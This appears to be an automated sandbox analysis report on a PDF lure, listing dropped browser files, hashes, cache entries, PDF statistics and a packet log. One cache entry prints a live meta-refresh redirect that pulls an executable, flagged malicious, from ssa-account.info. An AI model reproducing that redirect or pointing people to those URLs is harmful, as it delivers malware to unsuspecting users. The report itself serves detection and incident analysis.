MD5:	BBC03E9C7C5944E62EFC9C660B7BD2B6
SHA1:	83F161E3F49B64553709994B048D9F597CDE3DC6
SHA-256:	6CCE5AD8D496BC5179FA84AF8AFC568EEBA980D8A75058C6380B64FB42298C28
SHA-512:	FB80F091468A299B5209ACC30EDAF2001D081C22C3B30AAD422CBE6FEA7E5FE36A67A8E000D5DD03A30C60C30391C85FA31F3931E804C351AB0A71E9A978CC0F
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "windows-mf-cdm",. "version": "1.0.2738.0",. "accept_arch": [. "x64",. "x86_64",. "x86_64h". ].}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_261284427\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1766
Entropy (8bit):	6.02980548978209
Encrypted:	false
SSDEEP:	48:p/honJOXVAdTwEv0JkAkako3CwPjCh0BCBeDk3c94cYH0x:RxVyl1a2cCh09D3+cY0
MD5:	82F064A0770DE978466A66FB6360B076
SHA1:	01F8AA63ECBB24753FF4EE7A8FACEBEF627E9245
SHA-256:	E8F4663E85DE840451FF0507D619261B775E0918218E9FC130954A8613187395
SHA-512:	C73B935AC0D333BDEAC47DC23827C437FA6C07714E2D94CAFA1E7BF445BA6FC4B376F50CE878E36AD5DF42E450D0E05564DF319B673DFBEF1DBAAA4FA9600D0F
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoieWIzN3lEeWJCVGFYOG5TSjM5VGgtNWRLM21ucVBPNXpnLXNQYmFRWk82OCJ9LHsicGF0aCI6Im9wdGltaXphdGlvbi1oaW50cy5wYiIsInJvb3RfaGFzaCI6ImNGNFEzVll2UHJIbWZ0b3JnQzl2U3FxbnZjWjdVcHF3bmFQMUpndHJySzAifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQiOiJsbWVsZ2xlamhlbWVqZ2lucGJvYWdkZGdkZmJlcGdtcCIsIml0ZW1fdmVyc2lvbiI6IjQ3NiIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"TQf9HM1KcfMsDq6xSp2ZXZlAkSqAjyYQ4rxk7i9BYvYaqbL0sHXdE_s-Jwxc1EeP0RiWMvDwVcIdWWgGjI8sBxhPvXg3OuoTJMu-58UrkFl8fIH7zk5q0PZcfl56LrFNlKGjuTMKQ-f-vMtskZngLTSs5B_Q4QCEZeFTbFYysvfu02ZsclQA0ZodrvB1PBBmbqz6B1qOtnelaNTGupe8NhELMZG0hFi5MxOb1Vm0npmlS9hIkyUdlfUhfuyFT92p9HzIpct-ok6L5NC9pTNsmCTQxQDujzrq3N3LZqw8CFe8pfRyX9mvOKm26EGT1Nskp0zaU19XFiHJgRtioR8u36XgR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_261284427\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.911543271320449
Encrypted:	false
SSDEEP:	3:SFVGEu9adNNQck4Xn:SX4kNNJk4X
MD5:	C3A7A8744CFCB6F11D8C14C5220FB1A9
SHA1:	5B308316265A6FD6641908A546C4FA41C668A0A1
SHA-256:	21EB4467E92B1AF33B00A2C9C7C62B6586C936BA732BD9954D1119391D9EF922
SHA-512:	10B502AC6190FA016E0D05AE5CA45C204C34E57BF217249D2DF0917D4EE9224D4F3AC67BB9DF7FC749428EEDE7A6F61F8F0926970D5F59872074E8B1F0629FBF
Malicious:	false
Preview:	1.b17482c18814a2faff9ab6765b437f06d036f883ad4ea2fd1134d74a9723b8ce

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_261284427\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	108
Entropy (8bit):	4.481149880283266
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFzIe4/+S1qpHHhHcDKhtH8tAn:F6VlMQ/+S1qphSKH8tAn
MD5:	3CB98B2C055D297C8E4EF6A9283A5560
SHA1:	2A0AE8C8F792B64666ACB172D46D010C394C03BF
SHA-256:	C9BDFBC83C9B053697F27489DFD4E1FB974ADE69EA3CEE7383EB0F6DA4193BAF
SHA-512:	AF98E21297B20D437B4DF2477FF4F276EDFD06E1BE55E53B07F80C014314A14B64A6FDA822321C1A0D05E342184FB3B72217210191F4BABC691748BC95F56E3B
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "Optimization Hints",. "version": "476",. "ruleset_format": "1.0.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_261284427\optimization-hints.pb

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	53876
Entropy (8bit):	7.9764943672327115
Encrypted:	false
SSDEEP:	1536:/zehGBKxdYm83YG3iHb8fZANCdX4SjsxX9Ch:x0xW3YG3i78fZk67js3Ch
MD5:	73D4B58304AE9563053B998BBE47C6FB
SHA1:	36F26F00303A9950DC1AF3F06F394F993F457F7C
SHA-256:	07672AFB8C3FD28923BD01C69C757463DF4E99A9F042838A79093D4D6E92B6C6
SHA-512:	CAE2B38DD5608837E5AD091B17139E8B3A9D7534A3C01ACCE3B00FEFD7C9CB1E7D580F75DBA272698C75FAEC5F0F71D7D94544D65209BA217F7DD8997097251D
Malicious:	false
Preview:	............I.....g2.I..jI..n).+..)...h.+.A7p..q.:S4.Z...O.. R..\|....Da.e.?..W.-..ni2.....[.....6%8....x..y".b.Y7^.n......%/...f..c../.CY....j..\|].b..+.f..].{S.s..J...\|..nn..G..jb).Mn..../....R%.Fm.....K.....&.n.P.]..M.q:E..#^..O.....+...%\|{....5d..............=....X......._...OS1...+.q...7..vzf.....(....iVp....7..."QA.k`......Q...Y../X4..`...<+.@.U...m .'.X6...-.aD....<..w..7bv.e......<~.J.d...i..7..o}x_...B.T....V.et....u.{/.....p6.....t.Y(a.E......t.....P..45.a...!B-......B.RY#H....E....%...I..a.....$...T....7;...y..`.l.p..kv..`..q]...z.9rX...Rb..Q.N..../.>....p.ah.........z.\.Y}2W..o.?..-6=y...2[:..t7(t)....^.H...cl"]F."..@'h....t..s..Pf..SA.yCs....IuT..=.6...{...X....,...}.....ddE.2............YU..HQ..h.i.v...;..b....}.]K..../O.....]S~.l.H...........&....~m....3..l.l*RN"..k..1f.x.$..n...P-..](.Z./.........9...WJ\. /.B.Q....h.R...e.............Fg]...........?.Z..iH.Kyxc.e.P...H.....1N.Ac.;.4..he..b.V.w..'.....Z...K.4......p...2..9.s.."

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_510842467\Filtering Rules

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	74598
Entropy (8bit):	5.5368864380577545
Encrypted:	false
SSDEEP:	1536:7geXUzNNSGg1dSkNp+z55w4kgNmmO6I7kWvQFlGlHUvkS6xt/GL95vkdwz:sDRNfgr9NpK5wl+1O6IoWQFlGlHLS6xQ
MD5:	C6AF15DA82A8A9172FC9CAFC969DE4F9
SHA1:	81F477E181036D551EF6F09CB875C6B280BEBE00
SHA-256:	782009D9765C6104A1B4D1EAC553834E7E399D749A082EAD42BB47ABB42895B5
SHA-512:	F541CB1703A0BD31FCB6E293ACBC6E20F73B365FF8D2270A6D44780E9D5731B8D7803AECACD49D73E0DA065DD1026C9FA95F9CAD2BF0776CE1E2C3C9FCA052C6
Malicious:	false
Preview:	............0.8.@.R.-728x90...........0.8.@.R.adtdp.com^..........0.8.@.R.just-news.pro^..........0.8.@.R.yomeno.xyz^..........0.8.@.R.yellowblue.io^..........0.8.@.R.thubanoa.com^..........0.8.@.R.abh.jp^..........0.8.@.R.ad999.biz^..........0.8.@.R._468_60...........0.8.@.R.adrecover.com^..........0.8.@.R.pemsrv.com^..........0.8.@.R.mnaspm.com^..........0.8.@.R..ar/ads/.,........0.8.@.R.mysmth.net/nForum//ADAgent_.>...........worldstar.com0.8.@.R.js.assemblyexchange.com/wana..(........0.8.@.R.ogads-pa.googleapis.com^..........0.8.@.R.indoleads.com^.%......0.8.@.R.discordapp.com/banners/.(........0.8.@.R.looker.com/api/internal/.#........0.8.@.R.broadstreetads.com^.(........0.8.@.R.shikoku-np.co.jp/img/ad/..........0.8.@.R./banner.cgi?..........0.8.@.R./in/track?data=.!......0.8.@.R.linkbucks.com/tmpl/..........0.8.@.R.clicktripz.com^..........0.8.@.R.-ad-manager/........0.8.@.R.files.slack.com^.$........0.8.@.R.admitad-connect.com^..........0.8.@.R./300-250-.2........0.8.@.R"cloud

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_510842467\LICENSE.txt

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24623
Entropy (8bit):	4.588307081140814
Encrypted:	false
SSDEEP:	384:mva5sf5dXrCN7tnBxpxkepTqzazijFgZk231Py9zD6WApYbm0:mvagXreRnTqzazWgj0v6XqD
MD5:	D33AAA5246E1CE0A94FA15BA0C407AE2
SHA1:	11D197ACB61361657D638154A9416DC3249EC9FB
SHA-256:	1D4FF95CE9C6E21FE4A4FF3B41E7A0DF88638DD449D909A7B46974D3DFAB7311
SHA-512:	98B1B12FF0991FD7A5612141F83F69B86BC5A89DD62FC472EE5971817B7BBB612A034C746C2D81AE58FDF6873129256A89AA8BB7456022246DC4515BAAE2454B
Malicious:	false
Preview:	EasyList Repository Licences.... Unless otherwise noted, the contents of the EasyList repository.. (https://github.com/easylist) is dual licensed under the GNU General.. Public License version 3 of the License, or (at your option) any later.. version, and Creative Commons Attribution-ShareAlike 3.0 Unported, or.. (at your option) any later version. You may use and/or modify the files.. as permitted by either licence; if required, "The EasyList authors.. (https://easylist.to/)" should be attributed as the source of the.. material. All relevant licence files are included in the repository..... Please be aware that files hosted externally and referenced in the.. repository, including but not limited to subscriptions other than.. EasyList, EasyPrivacy, EasyList Germany and EasyList Italy, may be.. available under other conditions; permission must be granted by the.. respective copyright holders to authorise the use of their material.......Creative Commons Attribut

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_510842467\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1529
Entropy (8bit):	5.97509175092227
Encrypted:	false
SSDEEP:	24:pZRj/flTHY4NukYbKcFjeT3U8zkaoX+UqiF46u9ILn9oXUMzniumZ39TzIS/Xre:p/h44SbKcETEwkakBa6F9kUpumZR/Xi
MD5:	951BA6192A41622EC0E04174E1EFA31C
SHA1:	2C63243A5589671BF649FA049542308D3D7EB40E
SHA-256:	EA426C8FDAFABF1B3162C206175A17100613C85A0C30DDCDC0A3434232B69D59
SHA-512:	F9C612AA2848C01C2A3294378E6707AE92638FC5EF4C6C911D400AA981418AEF0334DBFAB1D954E0666ECDD5AB8B1506354D9C6DCF6D3D1459FAC2AD06F9E23E
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJGaWx0ZXJpbmcgUnVsZXMiLCJyb290X2hhc2giOiJ1VkRrWHp2UWlFeHdiRGtPWHNQdWtuXzI3ZGdIbGhPdDRQeENEZ0JnUXhRIn0seyJwYXRoIjoiTElDRU5TRS50eHQiLCJyb290X2hhc2giOiIyaWswNmk0TFlCdVNHNWphRGFIS253NE9pdnVSRzZsQ0JKMVk0TGtzRFJJIn0seyJwYXRoIjoibWFuaWZlc3QuanNvbiIsInJvb3RfaGFzaCI6IlhiOTU4SjJabnFtQzJRMzBYclJFNl9acURIQU9VZFRKaFdyNzV6SnVuV2sifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQiOiJnY21qa21nZGxnbmtrY29jbW9laW1pbmFpam1tam5paSIsIml0ZW1fdmVyc2lvbiI6IjkuNTIuMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"534ZoaSA4vZpcy0b1OYq4wgLlduJCzBpUCZnNXyx3UoH1ihy6uYapK85BVjJa1ptpN9OiT86GN1r8DNZlX69tLTIyTb7lSKoX31Sef3uvZpSLJBlIGI1173pGoj52Eu77I4DraCiKTVQ4mtVLBee579FqGijozIApfrepXVZeIes4wac06yB06DuFkdEg_jnCv3xR2twcNzidsDVTw7W-VOezjdZgjousBDON_Pumwd7_4ze5

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_510842467\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.8945408555413215
Encrypted:	false
SSDEEP:	3:SjWMQ0GiUVfkCzNMEkDRApvTD:SjWR/3tkNApvTD
MD5:	87190EF44A670A5418E7E6B26DA5CF02
SHA1:	7F24A0F6E188CA285526C968359D5DEEB0CA3F1C
SHA-256:	B9C7B754CFFECA3981CA26BCFEC1FA9988070C8657AE9DA3CA2EA7944E16AB00
SHA-512:	2980EBB51CCEE91B7F887A49D495BA9E3F4D0274AA6D4D0A3E8E4D3E3661815FB825C6D44DAFA34285E3625F979084FFAD5D54E8AE0B9E12ABFEF5C2F71E568C
Malicious:	false
Preview:	1.b48b30af5ce18c96128bfff9d2755c7932a1f32adc66f68322f7dd505db9626f

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_510842467\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.547350270682037
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFHXG7LGMdv5HcDKhtUJKS1HVgn:F6VlMZWuMt5SKPS16n
MD5:	3EE731D0E5BFB74CACB3D9E2DFDC7768
SHA1:	EE15CB60213BB402FD90308F0F67D7B6160C9751
SHA-256:	5DBF79F09D999EA982D90DF45EB444EBF66A0C700E51D4C9856AFBE7326E9D69
SHA-512:	F38E3FEDD392F9B273565CBE321A56051EDAF48DB75A0EBB539D57E8D1238D4BAC41E973F037395F9C5D4A189DF5E68726ED2C000134FC36BB7E7295C9A779C1
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "Subresource Filtering Rules",. "ruleset_format": 1,. "version": "9.52.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_680262100\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1796
Entropy (8bit):	6.004125939441331
Encrypted:	false
SSDEEP:	48:p/hv21I1VkRUpFNX7akkogfEXeVaD3sqiPKAqk0GPg1b1/x0:RkaVkm17affEXeVaACAqkg/x0
MD5:	96E3109DAF7E2EB7BC83BF27705DCEEB
SHA1:	F52D0104C06B760B2E9DBC8B0342BD42D5BC2561
SHA-256:	B9A075804A814CEB1E181436C1F78A6EEB03C029B2AF0909F00BF5F9ECF98159
SHA-512:	55CD154B5E9CDC3D34DAC9F4FA08665A61A5FF5336B0F600AA40C970301743C6755B5111F0DA824DA6EAEBB2617ED4D186592B2DE5D395EC3FACDBE9216D08A4
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJjcl9lbi11c181MDAwMDBfaW5kZXguYmluIiwicm9vdF9oYXNoIjoibnZJVVg1d0Z6cHYzV1cxWEJ0ZnBVQnlUeVVzblJzVXJZSnE2RGxMNlV1dyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiIwVHdEUnQwdnk4MWhqZmttRk9OZzNES2tsaDZ1LTVhMXZwNGNpWm9oMERJIn1dLCJmb3JtYXQiOiJ0cmVlaGFzaCIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoib2JlZGJiaGJwbW9qbmthbmljaW9nZ25tZWxtb29tb2MiLCJpdGVtX3ZlcnNpb24iOiIyMDI0MTExMS42OTUxNTMzNTAuMTQiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"M_vUeVQBbit5aHx1A7CSvGNJw1V9t16rFMj24Ahpf5HSwcaoQcyg7cWA7fi1oLsHkvKEBCTbDVK-lTsw-JjHJc9-9sr2LOlhvQo-80ZaC9lEMVAAIMnPain8JM8Sfix4vDYSj-KWoft-5XGguw_hzc89Ed8dXG6ageW4gm4AfdrSmllmsYMs9cMzMD2tdFTlvqBHMHGu5dX_OpIZcJN9PZSIWIGF1aBIRJ4JTk2u0Booh6x-AGuKP781Y5MXuuxOb6cEP7ebiL4TIiANV9og9EmALpYGYwpBAZVQViUibN1iCAoj6Af7ojZYBg5

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_680262100\cr_en-us_500000_index.bin

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	7964428
Entropy (8bit):	6.5651597289333665
Encrypted:	false
SSDEEP:	98304:wkIinfCF9mNVUDmtXyN6QfZtbW5D/V81vReVSBqCYq9TalTUGghruUkyK:WinfCF9mzyN6UtYD+reVY9TOlTw6UkJ
MD5:	9E9A17686028E0DAFAECB3473561CD6C
SHA1:	B28676CA7E5CC196454E9E0FEA43EEC466622243
SHA-256:	671C1B99D26479822E5C394400AAA6A41A7D17C130CE1D9337CE934054F389A8
SHA-512:	247380B8776E1E6114B51AD265F41E2DF1A78E1D571AC0AC276ED00A693CC8E073886FA10D11FFB3A24EFA3BDC0AC0FA9C1E5F136E54E8FB5577FF38A4E98B9B
Malicious:	false
Preview:	......w.....a.....h.W!..y%N2..f{.3..t!G<..r..J..g/1S..nK.Z..c..b..e].v..s#>}..dw....l+R...b]....m#...i.....p.,...u.....o.C...z....vGn...k.....x1J...1}....j.....4.d...q.....5.v...2%....9.....3.....7.E...61....8u....0......I....*67}..........................5....&w....... ..................o...........s....$]........ c........../............+...q...... meaningL#..-...... to usd............. meaning........... .... ........~.........)....... meaning............................ meaning.@..(+..........@....... meaningr........... meaning6{..#........ ..... ...f...eviri.f.... meaning44..... ......>..... meaning...... meaning......r eldonx..... meaning.j. . .... ...........f...... 14.4.......... meaning........ ... ........... meaning.....sad.ra bjarkard.ttir barney.................... ......L..... meaning@.............. meaningTR.

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_680262100\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.897958469013785
Encrypted:	false
SSDEEP:	3:SdIRxnwpvFTlX5dberAXiV:S+RxIngAX2
MD5:	47B08A80E3270EDF9484F61BCA8D86E8
SHA1:	D4FC10C697FA505309C35C673484B77E5A0D0B31
SHA-256:	7C3E77433132F457994265D9AD5579BAA5BFAC6901BFEE768D7FB3E89ABC3395
SHA-512:	2C7FFB853C3E308BD15B992167479C03C2D278C4AF44128F3E5AF314BD332CFC7E727BD18D9B78B14ABC01BC1E31C8FB6E25A0E342D17F53BD02029489FB8A23
Malicious:	false
Preview:	1.8fd7862f4e0afbfdcffd0d997ed5cecee23a73206ab7620f16648326f3e2b960

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_680262100\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	108
Entropy (8bit):	4.870266614166475
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifF0AAGAR3CKG/w/VpKS1vh7AUgn:F6VlMT2C7Y/VUS15Mtn
MD5:	D9F4615306D3ECEB7FFBF2F842385724
SHA1:	158BA7D8FF3C80C95827A8394E8C3AC7F9932F67
SHA-256:	D13C0346DD2FCBCD618DF92614E360DC32A4961EAEFB96B5BE9E1C899A21D032
SHA-512:	298B7ADA67A7401954674CDBFD0DBFD059D9B34B4B7433EFEC2C1DEB9150765BD5AD06FCA0628D4965A4E12A04EAF9FD3F508A7BBFBE90108E1F9053D3D0004A
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "OnDeviceHeadSuggestENUS500000",. "version": "20241111.695153350.14".}

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	85
Entropy (8bit):	4.695876342117177
Encrypted:	false
SSDEEP:	3:nmNjJMzVJu+1zWNVYj1G/hYJHb:GMRJVCNOeKJ7
MD5:	4C02A0D2933770AE22679FC0497DA3E4
SHA1:	F382D8AAD49C473BA761A75451D5D9BE267CE0BD
SHA-256:	C23D6AE96341A17F36963CA6B0451023FF6E8B683FB7548EB82FC437190BA627
SHA-512:	B8F4ADECE65197C282F0C759A17690343844AD41F37D708701999C108BC336980B7B7CA7C2986582182AE16CEA3E08C8CB960EF6A468D03DD4ABA6256C2390FE
Malicious:	false
URL:	https://tektors.sa.com/neword/ord.html
Preview:	<meta http-equiv="refresh" content="0; url=https://ssa-account.info/order-00908.exe">

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	5474616
Entropy (8bit):	7.4110233680475055
Encrypted:	false
SSDEEP:	98304:yps6efPfBOPvLtabi4X0MV+dYdcGt7VIb4:0fefPJws3V+a
MD5:	DBD8E0FB9ECD8BB7D275C66D650066F0
SHA1:	C75890C60F4FAABA669260CBAD018ED8B2381E31
SHA-256:	1C7DFC929D8E92AEE949BABC920E7994DE5EF98EB9977E668F51406ABED2DE94
SHA-512:	148B5A41180C48F458BEBA22D0F20CF76136AB2AD0622A957FF2C771D8BBFE9190A2FD95F2D47F0E7E0D9AE9BA9EB73014D0E5545C5EF7545E7E1219424C93AA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
URL:	https://ssa-account.info/order-00908.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!......Q...................@...........................R.....{.Q...@..................................)..P....`....P...........Q.8.....Q..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc.....P..`....P.. ..............@..@.reloc........Q.......Q.............@..B................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
URL:	https://tektors.sa.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Static File Info

General

File type:	PDF document, version 1.4, 1 pages
Entropy (8bit):	7.82881391599843
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	217469812STM.pdf
File size:	54'945 bytes
MD5:	1b2eff4456dc46c63d78ebc78e83f869
SHA1:	e73e0c988f5819168df91b550e8122eb7aa96f7c
SHA256:	e33202769f99aa0145cb27e2ac3436a027155eb7c8a138b37482c04c1c7b7b4d
SHA512:	18144ba0a7af06321cf6a834c69dc7b4f31c20ce7f71a78387ac4a45141ca4e47cc5fc8300977123937b28c664c00e8b8efb33ba11d883d439d14927614e0faa
SSDEEP:	1536:52uqrrrrrrrrrrrrtT1Ve/SnFsU1hYMnTrilqRllHppENOwXHQgzDxH:5orrrrrrrrrrrrt1cwFsU1hYWuwlF3wD
TLSH:	2D33CEB95F3FE2A3DC6F21B28EF9234B79B6F6BD2854117D532E462AC9110D1641C312
File Content Preview:	%PDF-1.4.%.....1 0 obj.<</Title (127.0.0.1:30030/_api/html/82790e1e-da86-4261-a89a-b707225ab04d)./Creator (Mozilla/5.0 $X11; Linux x86_64$ AppleWebKit/537.36 $KHTML, like Gecko$ HeadlessChrome/130.0.0.0 Safari/537.36)./Producer (Skia/PDF m130)./Creati

File Icon


Icon Hash:	62cc8caeb29e8ae0

Static PDF Info

General
Header:	%PDF-1.4
Total Entropy:	7.828814
Total Bytes:	54945
Stream Entropy:	7.824789
Stream Bytes:	53186
Entropy outside Streams:	5.310842
Bytes outside Streams:	1759
Number of EOF found:	1
Bytes after EOF:

Keywords Statistics

Name	Count
obj	10
endobj	10
stream	3
endstream	3
xref	1
trailer	1
startxref	1
/Page	1
/Encrypt	0
/ObjStm	0
/URI	4
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Image Streams

ID	DHASH	MD5	Preview
4	0000000000000000	0637c2fa2b7a29f6ff992078de4fb38e

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 18:19:00.371392012 CET	49673	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:19:00.668275118 CET	49672	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:19:06.074548960 CET	49676	443	192.168.2.8	52.182.143.211
Nov 19, 2024 18:19:09.017224073 CET	49677	80	192.168.2.8	192.229.211.108
Nov 19, 2024 18:19:10.055778027 CET	49673	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:19:10.323359966 CET	49672	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:19:11.975198030 CET	443	49704	23.206.229.226	192.168.2.8
Nov 19, 2024 18:19:11.976968050 CET	49704	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:19:13.023473024 CET	49713	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:13.023546934 CET	443	49713	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:13.023658991 CET	49713	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:13.025280952 CET	49713	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:13.025312901 CET	443	49713	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:13.726001024 CET	443	49713	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:13.726104975 CET	49713	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:13.731724024 CET	49713	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:13.731741905 CET	443	49713	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:13.731961012 CET	443	49713	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:13.777944088 CET	49713	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:13.979604006 CET	49713	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:14.023371935 CET	443	49713	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:14.193106890 CET	443	49713	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:14.193176031 CET	443	49713	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:14.193254948 CET	49713	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:14.193353891 CET	49713	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:14.193404913 CET	443	49713	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:14.193434000 CET	49713	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:14.193449974 CET	443	49713	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:14.226511002 CET	49714	443	192.168.2.8	184.28.90.27
Nov 19, 2024 18:19:14.226567030 CET	443	49714	184.28.90.27	192.168.2.8
Nov 19, 2024 18:19:14.226618052 CET	49714	443	192.168.2.8	184.28.90.27
